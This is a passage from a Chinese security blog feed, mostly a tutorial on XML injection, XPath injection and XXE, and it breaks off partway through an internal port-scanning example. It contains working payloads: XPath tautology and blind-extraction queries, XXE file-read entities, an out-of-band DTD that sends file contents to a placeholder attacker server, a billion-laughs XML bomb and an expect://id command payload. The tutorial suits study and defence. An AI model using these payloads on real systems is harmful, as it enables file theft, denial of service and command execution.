MVC，会有什么问题？</p><p>A：会出现大量业务逻辑混杂在 JSP 页面中，导致代码难以维护、不易测试、安全性差等问题。</p><hr /><p>Q5：如何保证各层之间的低耦合（使各模块互不影响）？</p><p>A：通过接口编程、依赖注入等方式，使各层之间仅依赖接口而非具体实现类。</p><blockquote><p>参考：</p><p><a href="https://blog.csdn.net/m0_73941339/article/details/146922447">MVC（Model-View-Controller）架构模式和三层架构介绍</a></p><p><a href="https://www.cnblogs.com/sevendog/p/19007492">MVC三层架构 | 柯基大大</a></p><p><a href="https://blog.csdn.net/m0_46202073/article/details/107707081">图解【MVC开发模式】&amp;【三层架构】</a></p></blockquote>]]>
    </content>
    <id>https://hackun.top/2025/08/30/MVC%E6%9E%B6%E6%9E%84/</id>
    <link href="https://hackun.top/2025/08/30/MVC%E6%9E%B6%E6%9E%84/"/>
    <published>2025-08-30T10:35:49.568Z</published>
    <summary>
      <![CDATA[<h1 id="mvc架构"><a class="markdownIt-Anchor" href="#mvc架构"></a> MVC架构</h1>
<h2 id="定义"><a class="markdownIt-Anchor" href="#定义"></a> 定义</h2>
<]]>
    </summary>
    <title>MVC架构</title>
    <updated>2025-08-30T10:39:12.290Z</updated>
  </entry>
  <entry>
    <author>
      <name>Hackun</name>
    </author>
    <category term="漏洞" scheme="https://hackun.top/categories/%E6%BC%8F%E6%B4%9E/"/>
    <category term="漏洞" scheme="https://hackun.top/tags/%E6%BC%8F%E6%B4%9E/"/>
    <category term="XML漏洞" scheme="https://hackun.top/tags/XML%E6%BC%8F%E6%B4%9E/"/>
    <content>
      <![CDATA[<h1 id="从xml到xxe"><a class="markdownIt-Anchor" href="#从xml到xxe"></a> 从XML到XXE</h1><h2 id="xml"><a class="markdownIt-Anchor" href="#xml"></a> XML</h2><h3 id="什么是xml"><a class="markdownIt-Anchor" href="#什么是xml"></a> 什么是XML？</h3><p>XML指可扩展标记语言（EXtensible Markup Language）</p><p>XML的设计宗旨是传输数据，而不是显示数据</p><p>XML不会做任何事情，XML被设计用来结构化、存储以及传输信息</p><p>XML语言没有预定义的标签</p><blockquote><p><strong>XML 不是 HTML 的替代</strong></p><ul><li>XML被设计用来传输和存储数据，其焦点是数据的内容</li><li>HTML被设计用来显示数据，其焦点是数据的外观</li><li>HTML旨在显示信息，而XML旨在传输信息</li></ul></blockquote><h3 id="xml语法结构"><a class="markdownIt-Anchor" href="#xml语法结构"></a> XML语法结构</h3><h4 id="语法"><a class="markdownIt-Anchor" href="#语法"></a> 语法</h4><ul><li>XML元素都须有关闭标签</li><li>XML标签对大小写敏感</li><li>XML必须正确地嵌套</li><li>XML文档必须有根元素</li><li>XML的属性值须加引号</li></ul><h4 id="结构"><a class="markdownIt-Anchor" href="#结构"></a> 结构</h4><ul><li>XML文档声明，在文档的第一行</li><li><mark>XML文档类型定义，即DTD，XXE 漏洞所在的地方</mark></li><li>XML文档元素</li></ul><h2 id="dtd"><a class="markdownIt-Anchor" href="#dtd"></a> DTD</h2><p>XML文档有自己的一个格式规范，这个格式规范是由一个叫做 DTD（document type definition） 的东西控制的</p><p>DTD用来为XML文档定义语义约束。可以嵌入在XML文档中(内部声明)，也可以独立的放在另外一个单独的文件中(外部引用)</p><h3 id="dtd文档"><a class="markdownIt-Anchor" href="#dtd文档"></a> DTD文档</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">1.内部DTD文档</span><br><span class="line">&lt;!DOCTYPE 根元素[定义内容]&gt;</span><br><span class="line"></span><br><span class="line">2.外部DTD文档</span><br><span class="line">&lt;!DOCTYPE 根元素 SYSTEM &quot;DTD文件路径&quot;&gt;</span><br><span class="line"></span><br><span class="line">3.内外部DTD文档结合</span><br><span class="line">&lt;!DOCTYPE 根元素 SYSTEM &quot;DTD文件路径&quot; [定义内容]&gt;</span><br></pre></td></tr></table></figure><h3 id="实体引用"><a class="markdownIt-Anchor" href="#实体引用"></a> 实体引用</h3><p>XML元素以形如 <code>&lt;tag&gt;foo&lt;/tag&gt;</code> 的标签开始和结束，如果元素内部出现如<code>&lt;</code> 的特殊字符，解析就会失败，为了避免这种情况，XML用实体引用（entity reference）替换特殊字符。XML预定义五个实体引用：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">&amp;lt; &lt; 小于号</span><br><span class="line">&amp;gt: &gt; 大于号</span><br><span class="line">&amp;amp; &amp; 和</span><br><span class="line">&amp;apos; &#x27; 单引号</span><br><span class="line">&amp;quot; &quot; 双引号</span><br></pre></td></tr></table></figure><h3 id="dtd实体"><a class="markdownIt-Anchor" href="#dtd实体"></a> DTD实体</h3><blockquote><p>实体是用于定义引用普通文本或特殊字符的快捷方式的变量<br />实体引用是对实体的引用<br />实体可在内部或外部进行声明</p></blockquote><h4 id="内部实体"><a class="markdownIt-Anchor" href="#内部实体"></a> 内部实体</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">&lt;!ENTITY 实体名称 &quot;实体的值&quot;&gt;</span><br><span class="line"></span><br><span class="line">例如：</span><br><span class="line">&lt;!DOCTYPE foo [</span><br><span class="line">    &lt;!ELEMENT foo ANY &gt;</span><br><span class="line">    &lt;!ENTITY xxe &quot;hello&quot;&gt;</span><br><span class="line">]&gt;</span><br><span class="line">&lt;foo&gt;&amp;xxe;&lt;/foo&gt;</span><br></pre></td></tr></table></figure><h4 id="外部实体"><a class="markdownIt-Anchor" href="#外部实体"></a> 外部实体</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">有SYSTEM和PUBLIC两个关键字，表示实体来自本地计算机还是公共计算机，</span><br><span class="line">外部实体的引用可以利用如下协议</span><br><span class="line">file://文件绝对路径 如：file:///etc/passwd</span><br><span class="line">http://url/file.ext</span><br><span class="line">php://filter/read=convert.base64-encode/resource=xxx.php</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">例如:</span><br><span class="line">&lt;!DOCTYPE foo [</span><br><span class="line">    &lt;!ELEMENT foo ANY &gt;</span><br><span class="line">    &lt;!ENTITY  % xxe SYSTEM &quot;http://xxx.xxx.xxx/evil.dtd&quot; &gt;</span><br><span class="line">    %xxe;</span><br><span class="line">]&gt;</span><br><span class="line">&lt;foo&gt;&amp;evil;&lt;/foo&gt;</span><br><span class="line"></span><br><span class="line">外部evil.dtd中的内容</span><br><span class="line">&lt;!ENTITY evil SYSTEM “file:///etc/passwd” &gt;</span><br></pre></td></tr></table></figure><p><code>%xxe</code>执行后会加载外部实体 <code>evil.dtd</code> 并执行，得到的结果会放在中</p><h2 id="xml注入"><a class="markdownIt-Anchor" href="#xml注入"></a> XML注入</h2><h3 id="什么是xml注入"><a class="markdownIt-Anchor" href="#什么是xml注入"></a> 什么是XML注入？</h3><p>XML注入攻击和SQL注入攻击的原理类似，利用了XML解析机制的漏洞，如果系统对用户输入<code>&lt;</code>,<code>&gt;</code>没有做转义的处理，攻击者可以修改XML的数据格式，或者添加新的XML节点，就会导致解析XML异常，导致XML注入攻击</p><h3 id="如何注入"><a class="markdownIt-Anchor" href="#如何注入"></a> 如何注入？</h3><p>如下XML是用于注册访问用户，其中用户名是由用户自己输入的</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?xml version=<span class="string">&quot;1.0&quot;</span> encoding=<span class="string">&quot;UTF-8&quot;</span> ?&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">user</span> <span class="attr">role</span>=<span class="string">&quot;guest&quot;</span>&gt;</span>用户输入<span class="tag">&lt;/<span class="name">user</span>&gt;</span></span><br></pre></td></tr></table></figure><p>攻击者在输入用户的时候，可以构造 <code>user1 &lt; /user&gt; &lt; user role=“admin”&gt;user2</code>数据去拼接XML，之后整个XML字符串将会变成如下格式。这样就添加了一个管理员权限的用户</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?xml version=<span class="string">&quot;1.0&quot;</span> encoding=<span class="string">&quot;UTF-8&quot;</span> ?&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">user</span> <span class="attr">role</span>=<span class="string">&quot;guest&quot;</span>&gt;</span>user1<span class="tag">&lt;/<span class="name">user</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">user</span> <span class="attr">role</span>=<span class="string">&quot;admin&quot;</span>&gt;</span>user2<span class="tag">&lt;/<span class="name">user</span>&gt;</span></span><br></pre></td></tr></table></figure><h3 id="如何防御"><a class="markdownIt-Anchor" href="#如何防御"></a> 如何防御？</h3><h4 id="使用安全的xml库"><a class="markdownIt-Anchor" href="#使用安全的xml库"></a> 使用安全的XML库</h4><p>正确代码使用Dom4j来构建XML，Dom4j将会对文本数据进行XML编码，从而使得XML的原始结构和格式免受破坏，防止了XML注入</p><h4 id="对用户输入的字段进行转码处理"><a class="markdownIt-Anchor" href="#对用户输入的字段进行转码处理"></a> 对用户输入的字段进行转码处理</h4><p>使用实体编码对用户的输入进行转义</p><h2 id="xpath注入"><a class="markdownIt-Anchor" href="#xpath注入"></a> XPath注入</h2><h3 id="什么是xpath注入"><a class="markdownIt-Anchor" href="#什么是xpath注入"></a> 什么是XPath注入？</h3><p>XPath注入攻击是指利用XPath 解析器的松散输入和容错特性，能够在 URL、表单或其它信息上附带恶意的XPath 查询代码，以获得权限信息的访问权并更改这些信息</p><p>XPath注入攻击是针对Web服务应用新的攻击方法，它允许攻击者在事先不知道XPath查询相关知识的情况下，通过XPath查询得到一个XML文档的完整内容</p><p>XPath注入发生在当站点使用用户输入的信息来构造请求以获取XML数据。攻击者对站点发送经过特殊构造的信息来探究站点使用的XML是如何构造的，从而进一步获取正常途径下无法获取的数据。当XML数据被用作账户验证时，攻击者还可以提升他的权限</p><h3 id="如何注入-2"><a class="markdownIt-Anchor" href="#如何注入-2"></a> 如何注入？</h3><p>XPath注入攻击主要是通过构建特殊的输入，这些输入往往是XPath语法中的一些组合，这些输入将作为参数传入Web 应用程序，通过执行XPath查询而执行入侵者想要的操作<br />注入对象不是数据库users表，而是一个存储数据的XML文件。因为xpath不存在访问控制，所以不会遇到许多在SQL注入中经常遇到的访问限制。 注入出现的位置也就是<code>cookie</code>，<code>headers</code>，<code>request</code> <code>parameters/input</code>等</p><p>如果一个网站某应用程序将数据保存在XML中，并且对用户的输入没有做限制，攻击者提交了没有经过处理的输入，就插入到 XPath 查询中，即产生Xpath注入，那么就攻击者就可能通过控制查询，获取数据，或者删除数据之类的操作</p><p>Xpath是xml路径语言，用于配置文件的查找。数据库就是xml文件。因此只要是利用XPath语法的Web 应用程序如果未对输入的XPath查询做严格的处理都会存在XPath注入漏洞。比如一些登录地址页面，搜索页面需要与xml交互的位置</p><h4 id="xpath直接注入"><a class="markdownIt-Anchor" href="#xpath直接注入"></a> Xpath直接注入</h4><p>示例：<br />test.xml(存储用户名和密码)</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?xml version=<span class="string">&quot;1.0&quot;</span> encoding=<span class="string">&quot;UTF-8&quot;</span>?&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">root</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">users</span>&gt;</span> </span><br><span class="line">        <span class="tag">&lt;<span class="name">user</span>&gt;</span> </span><br><span class="line">            <span class="tag">&lt;<span class="name">id</span>&gt;</span>1<span class="tag">&lt;/<span class="name">id</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">username</span>&gt;</span>test1<span class="tag">&lt;/<span class="name">username</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">password</span>&gt;</span>test1<span class="tag">&lt;/<span class="name">password</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;/<span class="name">user</span>&gt;</span> </span><br><span class="line">        <span class="tag">&lt;<span class="name">user</span>&gt;</span> </span><br><span class="line">            <span class="tag">&lt;<span class="name">id</span>&gt;</span>2<span class="tag">&lt;/<span class="name">id</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">username</span>&gt;</span>test2<span class="tag">&lt;/<span class="name">username</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">password</span>&gt;</span>test2<span class="tag">&lt;/<span class="name">password</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;/<span class="name">user</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">users</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">root</span>&gt;</span></span><br></pre></td></tr></table></figure><p>php(用于接收传入参数，并进行XML查询)</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="variable">$xml</span>=<span class="title function_ invoke__">simplexml_load_file</span>(<span class="string">&#x27;test.xml&#x27;</span>);</span><br><span class="line"><span class="variable">$name</span>=<span class="variable">$_GET</span>[<span class="string">&#x27;name&#x27;</span>];</span><br><span class="line"><span class="variable">$pwd</span>=<span class="variable">$_GET</span>[<span class="string">&#x27;pwd&#x27;</span>];</span><br><span class="line"><span class="variable">$query</span>=<span class="string">&quot;/root/users/user[username/text()=&#x27;&quot;</span>.<span class="variable">$name</span>.<span class="string">&quot;&#x27; and password/text()=&#x27;&quot;</span>.<span class="variable">$pwd</span>.<span class="string">&quot;&#x27;]&quot;</span>;</span><br><span class="line"><span class="keyword">echo</span> <span class="variable">$query</span>;</span><br><span class="line"><span class="variable">$result</span>=<span class="variable">$xml</span>-&gt;<span class="title function_ invoke__">xpath</span>(<span class="variable">$query</span>);</span><br><span class="line"><span class="keyword">if</span>(<span class="variable">$result</span>)&#123;</span><br><span class="line">    <span class="keyword">echo</span> <span class="string">&#x27;&lt;h2&gt;Welcome&lt;/h2&gt;&#x27;</span>;</span><br><span class="line">    <span class="keyword">foreach</span>(<span class="variable">$result</span> <span class="keyword">as</span> <span class="variable">$key</span>=&gt;<span class="variable">$value</span>)&#123;</span><br><span class="line">        <span class="keyword">echo</span> <span class="string">&#x27;&lt;br /&gt;ID:&#x27;</span>.<span class="variable">$value</span>-&gt;id;</span><br><span class="line">        <span class="keyword">echo</span> <span class="string">&#x27;&lt;br /&gt;Username:&#x27;</span>.<span class="variable">$value</span>-&gt;username;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><p>使用<code>simplexml_load_file()</code>函数返回类 SimpleXMLElement 的一个对象（该对象的属性包含 XML 文档中的数据）</p><p>攻击者在<code>username</code>字段中构造恒真语句如<code>' or 1=1 or ''='</code>进行闭合，获取所有user数据</p><h4 id="xpath盲注"><a class="markdownIt-Anchor" href="#xpath盲注"></a> Xpath盲注</h4><p>如果遍历出整个XML文档，一般步骤如下：</p><p>1.盲注根节点<br />利用<code>count（/*）</code>判断根下节点：</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">?name=&#x27; or count(/*) = 1 or &#x27;1&#x27; = &#x27;2</span><br></pre></td></tr></table></figure><p>有返回结果证明存在一个根节点<br />利用substring分割根节点的每个字符，猜解第一级节点：</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">?name=&#x27; or substring(name(/*[position() = 1]),1,1)=&#x27;r&#x27; or &#x27;1&#x27;=&#x27;2</span><br><span class="line">?name=&#x27; or substring(name(/*[position() = 1]),2,1)=&#x27;o&#x27; or &#x27;1&#x27;=&#x27;2</span><br></pre></td></tr></table></figure><p>2.盲注root的下一级节点<br />判断root的下一级节点数：</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">?name=&#x27; or count(/root/*) = 1 or &#x27;1&#x27; = &#x27;2</span><br></pre></td></tr></table></figure><p>有返回结果证明存在一个root的下一级节点</p><p>猜解root的下一级节点：</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">?name=&#x27; or substring(name(/root/*[position() = 1]),1,1)=&#x27;u&#x27; or &#x27;1&#x27;=&#x27;2</span><br><span class="line">?name=&#x27; or substring(name(/root/*[position() = 1]),2,1)=&#x27;s&#x27; or &#x27;1&#x27;=&#x27;2</span><br></pre></td></tr></table></figure><p>重复上述步骤，直至猜解出所有节点，最后来猜解节点中的数据或属性值</p><h3 id="如何防御-2"><a class="markdownIt-Anchor" href="#如何防御-2"></a> 如何防御？</h3><p>限制提交非法字符，对输入内容严格检查过滤，参数化XPath查询的变量</p><h2 id="xml外部实体注入xxe"><a class="markdownIt-Anchor" href="#xml外部实体注入xxe"></a> XML外部实体注入（XXE）</h2><h3 id="什么是xxe"><a class="markdownIt-Anchor" href="#什么是xxe"></a> 什么是XXE？</h3><p>XXE漏洞全称XML External Entity Injection 即XML外部实体注入</p><p>XXE漏洞发生在应用程序解析XML输入时，没有禁止外部实体的加载，导致可加载恶意外部文件和代码，造成<strong>任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击</strong>等危害</p><h3 id="如何注入-3"><a class="markdownIt-Anchor" href="#如何注入-3"></a> 如何注入？</h3><p>与SQL相似，XXE漏洞也分为有回显和无回显<br />有回显，可以直接在页面中看到payload的执行结果或现象<br />无回显，又称为blind xxe，可以使用外带数据(OOB)通道提取数据。即可以引用远程服务器上的XML文件读取文件</p><h4 id="读取任意文件"><a class="markdownIt-Anchor" href="#读取任意文件"></a> 读取任意文件</h4><h5 id="有回显"><a class="markdownIt-Anchor" href="#有回显"></a> 有回显</h5><p>首先准备一个有XXE漏洞的文件，这里以php文件为例</p><p>示例代码：</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="variable">$xml</span>=<span class="title function_ invoke__">simplexml_load_string</span>(<span class="variable">$_GET</span>[<span class="string">&#x27;xml&#x27;</span>]);</span><br><span class="line"><span class="title function_ invoke__">print_r</span>((<span class="keyword">string</span>)<span class="variable">$xml</span>);<span class="comment">//有回显</span></span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><p>payload:</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?xml version=<span class="string">&quot;1.0&quot;</span> encoding=<span class="string">&quot;utf-8&quot;</span>?&gt;</span></span><br><span class="line"><span class="meta">&lt;!DOCTYPE <span class="keyword">xxe</span> [</span></span><br><span class="line"><span class="meta"><span class="meta">&lt;!ELEMENT <span class="keyword">name</span> <span class="keyword">ANY</span> &gt;</span></span></span><br><span class="line"><span class="meta"><span class="meta">&lt;!ENTITY <span class="keyword">file</span> <span class="keyword">SYSTEM</span> <span class="string">&quot;file:///D://1.txt&quot;</span> &gt;</span></span></span><br><span class="line"><span class="meta">]&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">root</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">name</span>&gt;</span><span class="symbol">&amp;file;</span><span class="tag">&lt;/<span class="name">name</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">root</span>&gt;</span></span><br></pre></td></tr></table></figure><p>读取文件，需URL编码后执行</p><p>通过<strong>构造外部实体payload</strong>，在 xml 中 <code>&amp;file ;</code> 变成了外部文件<code>1.txt</code>中内容，导致敏感信息泄露</p><h5 id="无回显"><a class="markdownIt-Anchor" href="#无回显"></a> 无回显</h5><p>无回显的文件读取可以通过 blind XXE 方法加上外带数据通道（ooB）来提取数据，先使用<code>php://filter</code>协议获取目标文件的内容，然后将内容以<code>http</code>请求发送到攻击服务器来读取数据。虽无法直接查看文件内容，但我们可以使用易受攻击的服务器作为代理，在外部网络上执行扫描以及代码。即，当无回显情况时，可以将数据发送到远程服务器(攻击服务器)</p><p>paylaod：</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?xml version=<span class="string">&quot;1.0&quot;</span>?&gt;</span></span><br><span class="line"><span class="meta">&lt;!DOCTYPE <span class="keyword">test</span>[</span></span><br><span class="line"><span class="meta"><span class="meta">&lt;!ENTITY % <span class="keyword">file</span> <span class="keyword">SYSTEM</span> <span class="string">&quot;php://filter/read=convert.base64-encode/resource=D:/1.txt&quot;</span>&gt;</span></span></span><br><span class="line"><span class="meta"><span class="meta">&lt;!ENTITY % <span class="keyword">dtd</span> <span class="keyword">SYSTEM</span> <span class="string">&quot;http://xxx.xxx.xxx.xxx/evil.dtd&quot;</span>&gt;</span></span></span><br><span class="line"><span class="meta">%dtd;</span></span><br><span class="line"><span class="meta">%send;</span></span><br><span class="line"><span class="meta">]&gt;</span></span><br></pre></td></tr></table></figure><p>evil.dtd：</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;!ENTITY % <span class="keyword">payload</span> <span class="string">&quot;&lt;!ENTITY &amp;#x25; send SYSTEM &#x27;http://xxx.xxx.xxx.xxx/?content=%file;&#x27;&gt;&quot;</span>&gt;</span> %payload;</span><br><span class="line">//%号要进行实体编码成&amp;#x25</span><br></pre></td></tr></table></figure><p>进行XXE攻击后，服务器会把文件内容发送到攻击者服务器(这里是ubantu的apache日志记录)</p><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250828163215895.jpeg" alt="img" /></p><p>ubantu查看apache日志记录命令：</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">tail -f /var/log/apache2/access.log</span><br></pre></td></tr></table></figure><p>本地抓包也可以看到Base64编码后的文件内容</p><h4 id="拒绝服务攻击dos"><a class="markdownIt-Anchor" href="#拒绝服务攻击dos"></a> 拒绝服务攻击(Dos)</h4><p>常见的XML炸弹：当XML解析器尝试解析该文件时，由于DTD的定义指数级展开，这个1K不到的文件会占用到3G的内存</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?xml version=<span class="string">&quot;1.0&quot;</span>?&gt;</span></span><br><span class="line">   <span class="meta">&lt;!DOCTYPE <span class="keyword">lolz</span> [</span></span><br><span class="line"><span class="meta"><span class="meta">&lt;!ENTITY <span class="keyword">lol</span> <span class="string">&quot;lol&quot;</span>&gt;</span></span></span><br><span class="line"><span class="meta"><span class="meta">&lt;!ENTITY <span class="keyword">lol2</span> <span class="string">&quot;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&quot;</span>&gt;</span></span></span><br><span class="line"><span class="meta"><span class="meta">&lt;!ENTITY <span class="keyword">lol3</span> <span class="string">&quot;&amp;lol2;&amp;lol2;&amp;lol2;&amp;lol2;&amp;lol2;&amp;lol2;&amp;lol2;&amp;lol2;&amp;lol2;&amp;lol2;&quot;</span>&gt;</span></span></span><br><span class="line"><span class="meta"><span class="meta">&lt;!ENTITY <span class="keyword">lol4</span> <span class="string">&quot;&amp;lol3;&amp;lol3;&amp;lol3;&amp;lol3;&amp;lol3;&amp;lol3;&amp;lol3;&amp;lol3;&amp;lol3;&amp;lol3;&quot;</span>&gt;</span></span></span><br><span class="line"><span class="meta"><span class="meta">&lt;!ENTITY <span class="keyword">lol5</span> <span class="string">&quot;&amp;lol4;&amp;lol4;&amp;lol4;&amp;lol4;&amp;lol4;&amp;lol4;&amp;lol4;&amp;lol4;&amp;lol4;&amp;lol4;&quot;</span>&gt;</span></span></span><br><span class="line"><span class="meta"><span class="meta">&lt;!ENTITY <span class="keyword">lol6</span> <span class="string">&quot;&amp;lol5;&amp;lol5;&amp;lol5;&amp;lol5;&amp;lol5;&amp;lol5;&amp;lol5;&amp;lol5;&amp;lol5;&amp;lol5;&quot;</span>&gt;</span></span></span><br><span class="line"><span class="meta"><span class="meta">&lt;!ENTITY <span class="keyword">lol7</span> <span class="string">&quot;&amp;lol6;&amp;lol6;&amp;lol6;&amp;lol6;&amp;lol6;&amp;lol6;&amp;lol6;&amp;lol6;&amp;lol6;&amp;lol6;&quot;</span>&gt;</span></span></span><br><span class="line"><span class="meta"><span class="meta">&lt;!ENTITY <span class="keyword">lol8</span> <span class="string">&quot;&amp;lol7;&amp;lol7;&amp;lol7;&amp;lol7;&amp;lol7;&amp;lol7;&amp;lol7;&amp;lol7;&amp;lol7;&amp;lol7;&quot;</span>&gt;</span></span></span><br><span class="line"><span class="meta"><span class="meta">&lt;!ENTITY <span class="keyword">lol9</span> <span class="string">&quot;&amp;lol8;&amp;lol8;&amp;lol8;&amp;lol8;&amp;lol8;&amp;lol8;&amp;lol8;&amp;lol8;&amp;lol8;&amp;lol8;&quot;</span>&gt;</span></span></span><br><span class="line"><span class="meta">]&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">lolz</span>&gt;</span>&amp;lol9;<span class="tag">&lt;/<span class="name">lolz</span>&gt;</span></span><br></pre></td></tr></table></figure><p><strong>原理</strong>：递归引用,lol 实体具体还有 “lol” 字符串，然后一个 lol2 实体引用了 10 次 lol 实体，一个 lol3 实体引用了 10 次 lol2 实体，此时一个 lol3 实体就含有 10^2 个 “lol” 了，以此类推，lol9 实体含有 10^8 个 “lol” 字符串,最后再引用lol9</p><h4 id="执行系统命令"><a class="markdownIt-Anchor" href="#执行系统命令"></a> 执行系统命令</h4><p>在php环境下，xml命令执行需要php装有expect扩展，但该扩展默认没有安装，所以一般来说命令执行是比较难利用，但不排除</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?xml version=<span class="string">&quot;1.0&quot;</span> encoding=<span class="string">&quot;utf-8&quot;</span>?&gt;</span></span><br><span class="line"><span class="meta">&lt;!DOCTYPE <span class="keyword">xxe</span> [</span></span><br><span class="line"><span class="meta"><span class="meta">&lt;!ELEMENT <span class="keyword">name</span> <span class="keyword">ANY</span> &gt;</span></span></span><br><span class="line"><span class="meta"><span class="meta">&lt;!ENTITY <span class="keyword">xxe</span> <span class="keyword">SYSTEM</span> <span class="string">&quot;expect://id&quot;</span> &gt;</span>]&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">root</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">name</span>&gt;</span><span class="symbol">&amp;xxe;</span><span class="tag">&lt;/<span class="name">name</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">root</span>&gt;</span></span><br></pre></td></tr></table></figure><h4 id="探测内网端口"><a class="markdownIt-Anchor" href="#探测内网端口"></a> 探测内网端口</h4><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?xml version=<span class="string">&quot;1.0&quot;</span> encoding=<span 